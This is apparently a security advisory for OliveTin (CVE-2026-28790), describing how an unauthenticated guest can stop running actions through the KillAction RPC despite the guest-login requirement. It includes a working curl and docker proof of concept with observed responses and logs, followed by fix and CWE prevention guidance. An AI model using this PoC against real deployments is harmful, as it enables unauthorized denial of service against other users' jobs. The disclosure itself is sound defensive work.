Skip to content

GHSA-4fqm-6fmh-82mq CVE-2026-28790 GO-2026-4587

OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.74%
Chance of exploitation in the next 30 days. Higher than 54.59% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-284 Improper Access Control
CWE-862 Missing Authorization
CWE-863 Incorrect Authorization
Fix
0.0.0-20260302002902-d9804182eae4
Upgrade github.com/OliveTin/OliveTin to this version or later

Description

Summary

OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.

Details

The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.

KillAction() authenticates the caller and applies only the per-action kill ACL check:

  • service/internal/api/api.go:62

However, it does not enforce the guest login requirement. The guest/login gate exists separately in:

  • service/internal/api/api.go:474

That gate is used by dashboard-style methods, but not by KillAction.

In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:

  • service/internal/config/sanitize.go:160

Specifically:

  • DefaultPermissions.View = false
  • DefaultPermissions.Exec = false
  • DefaultPermissions.Logs = false
  • DefaultPermissions.Kill remains unchanged

As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():

  • service/internal/acl/acl.go:133

I validated this behavior on a clean 3000.10.2 setup:

  • guests were denied access to GetDashboard
  • an authenticated admin user started a long-running action
  • an unauthenticated guest successfully called KillAction
  • the action was terminated

This confirms a real authorization bypass affecting action termination.

PoC

Tested version:

  3000.10.2
  1. Create a minimal config:
  mkdir -p /tmp/olivetin-kill-bypass
  cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'
  listenAddressSingleHTTPFrontend: 0.0.0.0:1337
  logLevel: "DEBUG"
  checkForUpdates: false

  authRequireGuestsToLogin: true
  authLocalUsers:
    enabled: true
    users:
      - username: "admin"
        usergroup: "admin"
        password: "$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4"

  accessControlLists:
    - name: adminall
      addToEveryAction: true
      matchUsernames: ["admin"]
      permissions:
        view: true
        exec: true
        logs: true
        kill: true

  actions:
    - title: long-running
      id: long-running
      shell: sleep 20
      timeout: 30
  YAML
  1. Start OliveTin 3000.10.2:
  docker rm -f olivetin-kill-bypass 2>/dev/null || true
  docker run -d --name olivetin-kill-bypass \
    -p 1347:1337 \
    -v /tmp/olivetin-kill-bypass:/config:ro \
    ghcr.io/olivetin/olivetin:3000.10.2
  1. Confirm the server is ready:
  curl -i http://127.0.0.1:1347/readyz
  1. Prove guests are blocked from dashboard access:
  curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \
    -H 'Content-Type: application/json' \
    --data '{"title":"default"}'

  Observed response:

  HTTP/1.1 403 Forbidden
  {"code":"permission_denied","message":"guests are not allowed to access the dashboard"}
  1. Log in as admin:
  curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \
    -H 'Content-Type: application/json' \
    --data '{"username":"admin","password":"SecretPass123!"}'
  1. Start a long-running action as admin:
  curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \
    -H 'Content-Type: application/json' \
    --data '{"bindingId":"long-running","arguments":[],"uniqueTrackingId":"kill-hunt-1"}'

  Observed response:

  HTTP/1.1 200 OK
  {"executionTrackingId":"kill-hunt-1"}
  1. Kill it as an unauthenticated guest:
  curl -i -X POST http://127.0.0.1:1347/api/KillAction \
    -H 'Content-Type: application/json' \
    --data '{"executionTrackingId":"kill-hunt-1"}'

Observed response:

  HTTP/1.1 200 OK
  {"executionTrackingId":"kill-hunt-1","killed":true,"alreadyCompleted":false,"found":true}
  1. Confirm in container logs:
  docker logs olivetin-kill-bypass 2>&1 | tail -n 120

Observed relevant lines:

  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/GetDashboard" ... username="guest"
  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/StartAction" ... username="admin"
  Action started actionTitle="long-running"
  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/KillAction" ... username="guest"
  Killing execution request by tracking ID: kill-hunt-1
  Action finished actionTitle="long-running" exit="-1"

This proves:

  • guests are denied dashboard access
  • guests can still invoke KillAction
  • the running action is successfully terminated by an unauthenticated user

Impact

This is an unauthenticated broken access control vulnerability resulting in denial of service.

An unauthenticated guest can:

  • terminate active jobs started by legitimate users
  • disrupt long-running administrative or operational workflows
  • interfere with privileged actions without being allowed to log in

Who is impacted:

  • OliveTin deployments with authRequireGuestsToLogin: true
  • multi-user environments where actions may run for meaningful durations
  • operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks

This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted through adjacent leaks or shared operator knowledge.

Affected versions

Go

PackageVulnerableFixed in
github.com/OliveTin/OliveTin
< 0.0.0-20260302002902-d9804182eae4
0.0.0-20260302002902-d9804182eae4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/OliveTin/OliveTin Go → 0.0.0-20260302002902-d9804182eae4

go
go get github.com/OliveTin/OliveTin@v0.0.0-20260302002902-d9804182eae4 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-jm28-2wcr-qf3h
OliveTin: StartActionAndWait Endpoints Bypass `logs` Permission and Return Action Output
Medium Also affects github.com/OliveTin/OliveTin
GHSA-xc5w-4v5w-7x65
OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check
Medium Also affects github.com/OliveTin/OliveTin
GHSA-xpxj-f2fm-rqch
OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)
High Also affects github.com/OliveTin/OliveTin
GHSA-prj9-97mp-mwh2
OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering
Medium Also affects github.com/OliveTin/OliveTin
GHSA-f637-w7p2-m7fx
OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration
Low Also affects github.com/OliveTin/OliveTin
GHSA-7fq5-7wr8-rjwj
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
High Also affects github.com/OliveTin/OliveTin
GHSA-xx6g-43w2-9g6g
OliveTin's email argument makes compliance harder, enables log injection
Medium Also affects github.com/OliveTin/OliveTin
GHSA-228v-wc5r-j8m7
OliveTin Vulnerable to Unauthorized Action Output Disclosure via EventStream
Medium Also affects github.com/OliveTin/OliveTin
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor